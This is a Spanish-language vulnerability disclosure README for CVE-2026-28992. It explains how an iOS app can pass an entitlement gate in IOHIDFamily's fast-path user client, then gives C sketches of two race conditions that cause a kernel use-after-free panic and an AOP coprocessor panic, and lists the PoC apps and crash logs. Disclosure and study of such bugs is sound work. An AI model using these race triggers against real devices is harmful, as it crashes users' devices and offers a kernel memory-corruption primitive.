
UAF y pánico del coprocesador AOP en IOHIDEventServiceFastPathUserClient. Sin entitlements, accesible desde el sandbox de aplicaciones.
CVE-2026-28992 | Autor: Johnny Franks (@0xjohnny)
Componente: IOHIDFamily
Impacto: Un atacante podría provocar la finalización inesperada de una app
Descripción: Una vulnerabilidad de corrupción de memoria fue corregida con un bloqueo mejorado.
Ambos PoC provocan kernel-panic y reinician los dispositivos afectados. Guarda tu trabajo primero.
Dos condiciones de carrera en IOHIDEventServiceFastPathUserClient (kext de IOHIDFamily). No se requieren entitlements. Alcanzable desde el sandbox normal de una app.
Ambos vectores usan IOServiceOpen(service, task, 2, &conn). La puerta de apertura sel0 verifica FastPathHasEntitlement y FastPathMotionEventEntitlement en el OSDictionary proporcionado por el llamador en lugar de los flags de entitlement almacenados durante initWithTask; una app en sandbox pasa la puerta incluyendo esas claves en la estructura de entrada.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
La ruta de cierre (sel1) libera el estado del provider y limpia +0x109 sin ningún bloqueo. copyEvent (sel2) verifica un flag diferente (+0x108) bajo un bloqueo por conexión, y luego llama al provider. Múltiples conexiones al mismo provider significan que close y copyEvent operan en dominios de bloqueo distintos sobre objetos compartidos del lado del provider.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy desencadena didTerminate de forma asíncrona → close/teardown, sin sincronización con rutas de apertura sel0 concurrentes en otras conexiones. Esto también satura el buzón de los providers respaldados por SPU, provocando un timeout del watchdog de AOP.
| Ruta | Descripción |
|---|---|
UAFPoc/ | App de iOS — desencadena el UAF (fallo de etiqueta MTE en A17+, data abort en pre-A17) |
AOPPanicPoc/ | App de iOS — desencadena el pánico del coprocesador AOP mediante la saturación del buzón de SPU |
panic-logs/mte-tag-fault.ips | Fallo de verificación de etiqueta del kernel — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | Data abort del kernel — iPad Pro 12.9" 2ª gen (A10X, sin MTE/PAC) |
panic-logs/aop-panic.ips | Pánico del coprocesador AOP — iPhone 17 Pro Max (desbordamiento del buzón de SPU) |